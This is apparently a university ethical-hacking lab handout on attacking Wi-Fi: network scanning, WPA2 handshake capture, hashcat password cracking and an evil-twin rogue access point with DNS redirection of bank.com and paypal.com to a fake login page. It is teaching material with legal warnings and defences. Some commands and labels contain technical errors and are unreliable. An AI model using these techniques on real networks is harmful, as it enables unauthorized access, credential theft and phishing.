

Week 10: Hacking Wireless Networks

Lab Activities & Assignment with Rubrics

CCS6324 - Ethical Hacking & Penetration Testing

Trimester 2530

NOTE: YOU CAN PERFORM ANY 3 ACTIVITIES AND ONLY PROVIDE SCREENSHOTS WITH SHORT DESCRIPTION IN A SINGLE FILE FOR EACH MAJOR STEPS AND RESULTS (ASSESSMENT 3%)

Lab Environment Setup

Prerequisites & Equipment

Hardware Requirements:

- Laptop/Desktop with Linux (Kali, Ubuntu, or similar)
- Wireless adapter with monitor mode capability (Alfa AWUS036ACH recommended)
- Second wireless device (smartphone, tablet, or secondary laptop) for testing
- Lab router or access point under your control (for legal testing)

Software Requirements:

- Kali Linux or similar penetration testing distribution
- aircrack-ng suite (pre-installed in Kali)
- Wireshark (network packet analyzer)
- Kismet-ng (wireless network detector)
- hostapd (access point emulation)
- hcxtools (handshake capture)
- hashcat (GPU-accelerated password cracking)

Critical Legal & Ethical Disclaimer

IMPORTANT: You may only perform these labs on:

1. Networks you own
2. Networks explicitly authorized for testing (written permission required)
3. Dedicated lab environments provided by the institution

Unauthorized access to wireless networks is ILLEGAL and violates:

- Computer Fraud and Abuse Act (CFAA)
- Cybercrime legislation in your jurisdiction

- Local telecommunications regulations

Penalties include: Criminal charges, imprisonment, substantial fines, and civil liability.

Academic Integrity: Using these techniques on university or other institutions' networks without authorization will result in disciplinary action, up to and including expulsion.

Lab Activity 1: Wireless Network Discovery with airodump-ng

Duration: 20 minutes | **Difficulty:** Beginner

Learning Objectives

- Enable monitor mode on the wireless interface
- Perform passive wireless network scanning
- Identify network security characteristics
- Generate network discovery reports

Step-by-Step Instructions

Step 1: Identify Available Wireless Interfaces

```
# List all network interfaces
ip link show

# Or use iwconfig (older systems)
iwconfig

# Look for wlan interfaces (wlan0, wlan1, etc.)
```

Expected Output:

```
wlan0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST>
        inet 192.168.1.100 netmask 0xffffffff broadcast 192.168.1.255
```

Step 2: Enable Monitor Mode

Monitor mode allows the interface to capture all wireless frames, not just those addressed to it.

```
# First, stop network manager to prevent interference
sudo airmon-ng check kill

# Enable monitor mode on wlan0 (creates wlan0mon interface)
sudo airmon-ng start wlan0

# Verify monitor mode is active
iwconfig | grep -i monitor
```

Expected Output:

```
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.456 GHz Tx-Power=20 dBm
```

Step 3: Scan for Available Networks

```
# Start airodump-ng network discovery
# Syntax: airodump-ng <interface>
sudo airodump-ng wlan0mon

# Output will update in real-time:
```

Sample Output:

BSSID	PWR	Beacons	#Data	#/s	CH	MB	ENC	CIPHER	AUTH
AA:BB:CC:DD:EE:FF	-35	100	250	5	6	54	WPA2	CCMP	PSK

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
AA:BB:CC:DD:EE:FF	11:22:33:44:55:66	-45	54e-48	0	512	

Understanding Output Fields:

- **BSSID:** MAC address of access point
- **PWR:** Signal strength (-30 = strong, -90 = weak)
- **Beacons:** Number of beacon frames received
- **#Data:** Number of data packets captured
- **#/s:** Packets per second
- **CH:** Channel number (1-13 for 2.4 GHz)
- **MB:** Maximum supported bandwidth
- **ENC:** Encryption type (OPEN, WEP, WPA2, WPA3)
- **CIPHER:** Encryption algorithm (CCMP, TKIP)
- **AUTH:** Authentication method (PSK, 802.1X, SAE)

Step 4: Save Network Discovery Results

```
# Save to CSV file for analysis
sudo airodump-ng -w network_scan wlan0mon

# Stop with Ctrl+C after 2-3 minutes
# Creates files: network_scan-01.csv, network_scan-01.kismet.csv

# View captured networks
cat network_scan-01.csv
```

Step 5: Analyze Results

Create a spreadsheet from the CSV output:

SSID	BSSID	Channel	Encryption	Signal Strength	Vulnerability
HomeNet	AA:BB:CC:DD:EE:FF	6	WPA2	-35 dBm	Dictionary attack possible

SSID	BSSID	Channel	Encryption	Signal Strength	Vulnerability
Guest	11:22:33:44:55:66	11	OPEN	-60 dBm	No encryption
SecureOffice	22:33:44:55:66:77	1	WPA3	-45 dBm	SAE-based, stronger

Expected Outcomes

- Identify 5+ wireless networks in your area
- Classify encryption levels
- Document signal strength patterns
- Generate network discovery report

Lab Report Requirements

Document the following in your lab journal:

1. Number and names of networks discovered
2. For each network: BSSID, channel, encryption type, signal strength
3. Identify which networks use deprecated security (WEP, WPA)
4. Analyze channel overlap and interference patterns
5. Create visualization of 2.4 GHz channel usage

Lab Activity 2: WPA2 Handshake Capture & Analysis

Duration: 30 minutes | **Difficulty:** Intermediate

Learning Objectives

- Capture WPA2 4-way handshake
- Understand authentication frame structure
- Analyze handshake packets with Wireshark
- Prepare for offline password cracking

Background: WPA2 Handshake

The 4-way handshake occurs when client associates with AP:

Message 1 (AP → Client): ANonce (authenticator nonce) **Message 2 (Client → AP):** SNonce (supplicant nonce) + MIC **Message 3 (AP → Client):** GTK (Group Temporal Key) + MIC **Message 4 (Client → AP):** Acknowledgment

The MIC is derived from:

- Pre-Shared Key (passphrase)
- ANonce and SNonce

- MAC addresses of AP and client
- Frame data

By capturing this handshake, attackers can perform offline password cracking.

Step-by-Step Instructions

Step 1: Identify Target Network

From Lab Activity 1, choose a WPA2/WPA3 network you own or have authorization to test.

Example:

- SSID: "TestNetwork"
- BSSID: AA:BB:CC:DD:EE:FF
- Channel: 6

Step 2: Start Continuous Capture on Target Channel

```
# Start airodump-ng filtered to target AP on specific channel
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon

# This will:
# - Monitor only channel 6 (improves capture rate)
# - Filter for target BSSID
# - Save packets to handshake-01.cap
```

Step 3: Wait for Client Connection (Passive Method)

Option A - Passive (Recommended for legal compliance):

- Leave the capture running
- Wait for legitimate client to associate and perform handshake
- Takes 1-10 minutes depending on network activity
- No interference with network

```
# Terminal will indicate when 4-way handshake captured:
# "[ WPA handshake: AA:BB:CC:DD:EE:FF ]"
```

Step 4: Verify Handshake Capture

```
# Check if handshake was captured
sudo aircrack-ng handshake-01.cap

# Output shows:
# "1 handshake(s) recovered"
# Or "0 handshake(s) recovered" (try again)
```

Step 5: Analyze Handshake with Wireshark

```
# Open capture file in Wireshark
wireshark handshake-01.cap
```

```
# Or from command line:
sudo wireshark
# File → Open → select handshake-01.cap
```

In Wireshark:

1. Filter to view handshake frames:

```
wlan.fc.type_subtype == 0x08 # Beacon frames
wlan.fc.type_subtype == 0x00 # Association request
eapol # EAP over LAN (4-way handshake)
```

2. Examine Handshake Messages:

Right-click on EAPOL frame → Expand "802.1X Authentication"

Message 1 Indicators:

- Key Information: ANonce (32-byte value)
- Replay Counter: 0

Message 2 Indicators:

- Key Information: SNonce
- MIC: Message Integrity Code (important for cracking)

Message 3 Indicators:

- Encrypted GTK (Group Temporal Key)
- MIC value

Message 4 Indicators:

- Acknowledgment

Step 6: Extract Key Information

```
# Use hcxumptool to extract handshake details
sudo hcxumptool -i wlan0mon -o handshake_details.txt

# Or analyze with aircrack-ng
sudo aircrack-ng -a wpa -b AA:BB:CC:DD:EE:FF handshake-01.cap
# Shows: "Index number of target network: 1"
```

Lab Report Requirements

1. Capture Results:

- Screenshot of successful handshake indicator
- Packet count (total packets captured)
- Handshake frame numbers

2. Handshake Analysis:

- BSSID and SSID of target network

- Timestamp of handshake occurrence
 - ANonce value (hex)
 - SNonce value (hex)
 - MIC value
 - 3. **Frame Inspection:**
 - Wireshark screenshot showing Message 3 (GTK encryption)
 - Explanation of replay counter function
 - Security purpose of each nonce
 - 4. **Key Information:**
 - Estimated time to crack with medium GPU if password is weak dictionary word
-

Lab Activity 3: WPA2/WPA3 Dictionary Attack with Hashcat

Duration: 40 minutes | Difficulty: Intermediate-Advanced

Learning Objectives

- Perform offline password cracking
- Use hashcat for GPU acceleration
- Understand password dictionary preparation
- Estimate attack feasibility for various password strengths

Prerequisites

- Completed Lab Activity 2 (have handshake file)
- Hashcat installed and GPU drivers configured
- Dictionary wordlists (rockyou.txt or similar)

Background: Dictionary Attack Mechanics

Attack Process:

1. Attacker has captured 4-way handshake (EAPOL frames)
2. For each password candidate:
 - Derive PMK = PBKDF2(password, SSID, 4096 iterations)
 - Derive PTK using nonces, MAC addresses
 - Calculate MIC
 - Compare with captured MIC
3. On match: password found

Why Offline?

- No rate limiting (online would have limits)
- Can use GPU acceleration (1000x speed increase)

- Attacker has all necessary material (captured frames)

Step-by-Step Instructions

Step 1: Prepare Dictionary Wordlists

```
# Download common wordlists (if not installed)
# Kali Linux includes rockyou.txt by default
ls /usr/share/wordlists/

# If not present, download
wget https://github.com/brannondorsey/naive-bayes-classifier-language-models/raw/master/corpora/wordlists/rockyou.txt

# Check file size
wc -l rockyou.txt
# Output: ~14 million words

# Create custom wordlist for testing (optional)
cat > custom_dict.txt << EOF
password123
123456789
admin1234
welcome1
letmein
monkey123
dragon123
testpass
Passw0rd!
MyPassword1
EOF
```

Step 2: Convert Handshake to Hashcat Format

Hashcat requires specific format for WPA2/WPA3 hashes.

```
# Convert aircrack .cap file to hashcat HCCAPX format
sudo hcxpcapngtool -o hash.hccapx handshake-01.cap

# Or use older format
sudo aircrack-ng handshake-01.cap -J hash

# Verify hash file created
ls -la hash.hccapx
```

Step 3: Identify Hashcat Hash Type

```
# WPA2/WPA3 hash types in hashcat:
# -m 2500: WPA/WPA2 (PMKID/EAPOL)
# -m 22000: WPA3-PMKID (newer format)

# For this lab, use:
# -m 2500 (traditional WPA2 handshake)
```

Step 4: Run Hashcat Cracking (CPU Mode - Learning)

For demonstration with small wordlist:


```
# CPU mode (slow but works on any system)
hashcat -m 2500 -a 0 hash.hccapx custom_dict.txt
```

```
# Flags:
# -m 2500: Hash type (WPA2)
# -a 0: Dictionary attack (straightforward)
# hash.hccapx: Hash file
# custom_dict.txt: Wordlist

# Output:
# hash.hccapx:password123:BSSID:SSID
# Status: Cracked
# Time: 2 seconds
```

Step 5: Run Hashcat with GPU Acceleration (Production Method)

```
# Check GPU availability
hashcat -I

# Output should show:
# GPU #1: NVIDIA GeForce RTX 3090
# Or: AMD Radeon RX 6900 XT
# Or: Intel Arc A770

# Run with GPU (significantly faster)
hashcat -m 2500 -a 0 hash.hccapx /usr/share/wordlists/rockyou.txt -d 1,2

# Flags:
# -d 1,2: Use GPU device 1 and 2
# --workload-profile=4: Maximum performance
# -O: Optimized for target hash
```

Step 6: Advanced Attack: Rules and Masks

```
# Rule-based attack (modify dictionary words)
# E.g., "password" → "Password1!", "PASSWORD123", etc.

hashcat -m 2500 -a 0 hash.hccapx rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Or mask-based attack for known password structure
# Password of format: Word + 2 digits
hashcat -m 2500 -a 3 hash.hccapx rockyou.txt \
  ?d?d # Two digits at end

# Combine wordlist + rules + mask
hashcat -m 2500 -a 6 hash.hccapx rockyou.txt ?d?d?d
```

Step 7: Understand Cracking Timeline

```
# Estimated time to crack different password types:

# GPU Performance: ~500 million PBKDF2 iterations/second (RTX 3090)
# Dictionary size: 14 million passwords (rockyou.txt)

# Weak password (6 chars, lowercase): 5-30 seconds
# Moderate password (8 chars, mixed case): 10 minutes - 2 hours
# Strong password (12 chars, all types): 30+ hours
# Very strong (20 chars, random): ~10^26 iterations (impossible)
```

Step 8: Visualize Attack Progress

```
# Hashcat shows real-time statistics:
# Progress: 2,500,000/14,000,000 (17.86%)
# Speed: 450 M/s
# Time remaining: 6 hours, 23 minutes

# Or use --status to get periodic updates
hashcat -m 2500 hash.hccapx rockyou.txt --status --status-timer=10
```

Lab Report Requirements

Part A: Dictionary Attack Results

- Password Cracking Attempt:**
 - Wordlist used (name, number of words)
 - Hash type and format
 - Attack method (pure dictionary, rules, mask)
 - Did the password crack? (Yes/No)
 - If cracked: password discovered, time taken
- GPU vs. CPU Performance:**
 - Run same attack on CPU and GPU
 - Record time for each
 - Calculate speedup factor
 - Explain architectural differences
- Failed Attempt Analysis:**
 - Password used for testing (if different)
 - Why it wasn't in wordlist (custom, non-English, etc.)
 - What modifications/rules would be needed

Part B: Attack Efficiency Analysis

Complete this analysis table:

Password Type	Example	Rockyou.txt?	Estimated Time (GPU)	Additional Rules Needed
Dictionary word	password	Yes	<1 second	No
Mixed case word	Password	No	10 minutes	Best64 rules
Word + numbers	password123	No	5 minutes	Append digits
Custom phrase	MyP@ssw0rd!	No	Unknown	Hybrid attack

Part C: Password Security Assessment

Analyze the relationship between password characteristics and cracking time:

- Character set size (lowercase, uppercase, digits, symbols)
- Password length (6 vs. 8 vs. 12 vs. 20 characters)

- Entropy calculation and security implications
-

Lab Activity 4: Evil Twin / Rogue Access Point Creation

Duration: 60 minutes | Difficulty: Advanced

Learning Objectives

- Configure Linux as wireless access point
- Create convincing rogue AP (authorized testing only)
- Implement MITM attack demonstrations
- Understand client-side security risks

Critical Legal Note

This lab demonstrates attack techniques. **Only perform on:**

- Networks you own
- Isolated test environments
- With explicit written authorization from network owner

Do NOT test on:

- University networks
- Public networks
- Networks without explicit authorization

Background: Evil Twin Attack

An attacker creates fake AP mimicking legitimate network:

1. Attacker discovers legitimate AP SSID and security settings
2. Attacker's laptop broadcasts same SSID
3. Attacker offers open network (or weak password)
4. Clients connect to rogue AP instead of legitimate
5. All traffic flows through attacker's machine
6. Attacker can: inspect traffic, harvest credentials, inject malware

Defense:

- Check AP MAC address before connecting
- Verify channel and signal strength
- Use certificate pinning in apps
- Use VPN on public networks

Step-by-Step Instructions

Step 1: Verify System Requirements

```
# Verify wireless interface supports AP mode
sudo iw phy
# Look for "AP" under supported interface modes

# Check for second wireless interface (recommended)
ip link show
# Should have: wlan0 (for AP), wlan1 (monitor mode)
# Or single wlan0 will be shared

# Verify dnsmasq and hostapd installed
apt list --installed | grep -E "hostapd|dnsmasq"
# If missing: sudo apt-get install hostapd dnsmasq
```

Step 2: Stop Conflicting Services

```
# NetworkManager will interfere with hostapd
sudo systemctl stop NetworkManager
sudo systemctl stop wpa_supplicant

# Or use airmon-ng to clean up
sudo airmon-ng check kill
```

Step 3: Configure Hostapd Configuration File

Create /etc/hostapd/hostapd.conf:

```
# Create configuration file
sudo nano /etc/hostapd/hostapd.conf
```

Configuration Content:

```
# Interface settings
interface=wlan0
driver=nl80211
ssid=FreePublicWifi
channel=6
hw_mode=g
wmm_enabled=0

# Security settings - OPEN NETWORK (for testing connectivity)
# WARNING: Real attacks often use legitimate SSID name but open security
# In production attacks, attacker might use WPA2 with weak password

# For maximum compatibility in lab:
auth_algs=1 # Open authentication

# Alternative: WPA2 with known password
# wpa=2
# wpa_passphrase=testpassword
# wpa_key_mgmt=WPA-PSK
# wpa_pairwise=CCMP
```

Step 4: Configure DHCP Server (dnsmasq)

Create /etc/dnsmasq.conf:

```
sudo nano /etc/dnsmasq.conf
```

Configuration Content:

```
# DHCP settings
interface=wlan0
dhcp-range=192.168.100.2,192.168.100.254,255.255.255.0,12h
dhcp-option=option:router,192.168.100.1
dhcp-option=option:dns-server,8.8.8.8,8.8.4.4

# Forward DNS queries
server=8.8.8.8
server=8.8.4.4

# Log all queries
log-queries
log-facility=/var/log/dnsmasq.log
```

Step 5: Configure Network Interface

```
# Bring up wireless interface
sudo ip link set wlan0 up

# Assign IP address
sudo ip addr add 192.168.100.1/24 dev wlan0

# Verify configuration
ip addr show wlan0
# Should show: inet 192.168.100.1/24 brd 192.168.100.255
```

Step 6: Enable IP Forwarding (for MITM)

```
# Enable IP forwarding to intercept traffic
sudo sysctl -w net.ipv4.ip_forward=1

# Or edit /etc/sysctl.conf for persistence:
sudo nano /etc/sysctl.conf
# Uncomment: net.ipv4.ip_forward=1
```

Step 7: Start the Rogue Access Point

```
# Start dnsmasq (DHCP server)
sudo dnsmasq -C /etc/dnsmasq.conf -d

# In new terminal, start hostapd
sudo hostapd -d /etc/hostapd/hostapd.conf

# Output should show:
# wlan0: AP-ENABLED
# wlan0: STA 11:22:33:44:55:66 CONNECTED
```

Step 8: Monitor Connected Clients

```
# Check connected clients
sudo iw dev wlan0 station dump

# Output:
# Station 11:22:33:44:55:66 (on wlan0)
```

```
# signal: -30 dBm
# RX bytes: 1024 TX bytes: 512
```

Step 9: Capture & Inspect Client Traffic (MITM)

Open Wireshark in new terminal:

```
# Capture traffic on wlan0
sudo wireshark

# Interface: wlan0
# Start capture
# Filter: ip.addr == 192.168.100.X (specific client)

# Observe:
# - DNS queries (unencrypted, shows visited websites)
# - HTTP traffic (plaintext data)
# - Email credentials (if not encrypted)
# - Social media sessions (if not HTTPS)
```

Step 10: Demonstrate Traffic Interception (Educational)

```
# Show DNS hijacking capability
# When client tries to visit website, you could respond with attacker
server

# Example: Redirect bank.com to fake phishing site
# In /etc/dnsmasq.conf add:
# address=/bank.com/192.168.100.1
# address=/paypal.com/192.168.100.1

# Client DNS queries go to attacker's IP
# Attacker can serve fake login page
```

Cleanup & Defense Demonstration

Stop the Rogue AP:

```
# Kill processes
sudo killall hostapd dnsmasq

# Restore IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0

# Restart NetworkManager
sudo systemctl start NetworkManager

# Restore wireless interface
sudo ip link set wlan0 down
```

Defensive Measures to Demonstrate:

```
# 1. Certificate pinning (app-level defense)
# Apps should verify server certificate fingerprint, not trust all CAs

# 2. Use VPN (shields from MITM)
# All traffic encrypted end-to-end to trusted server
```

```
# 3. HTTPS enforcement
# Never send plaintext credentials

# 4. 802.11w enforcement (requires WPA3 or certified WPA2)
# Prevents deauth attacks that force reassociation
```

Lab Report Requirements

1. **Attack Demonstration:**
 - Screenshots of: hostapd starting, clients connecting, Wireshark capture
 - Number of clients connected during test
 - Duration of AP operation
2. **Traffic Analysis:**
 - Types of traffic captured (DNS, HTTP, DHCP)
 - Unencrypted data examples (DNS queries showing websites)
 - Credentials visible (if any)
3. **Security Analysis:**
 - Why open network is effective for attracting clients
 - How SSID spoofing increases attack success rate
 - Why legitimate SSID + weak password is particularly dangerous
4. **Defense Mechanisms:**
 - Explain how VPN would have prevented interception
 - Demonstrate certificate mismatch warning (if available)
 - Show HTTPS connection indicators (secure vs. insecure)
5. **Risk Assessment:**
 - Personal devices connected to public Wi-Fi without VPN: HIGH RISK
 - Email clients on open networks: CRITICAL RISK
 - Banking on public Wi-Fi with HTTPS only: MEDIUM RISK
 - Banking on VPN over public Wi-Fi: LOW RISK

THE END!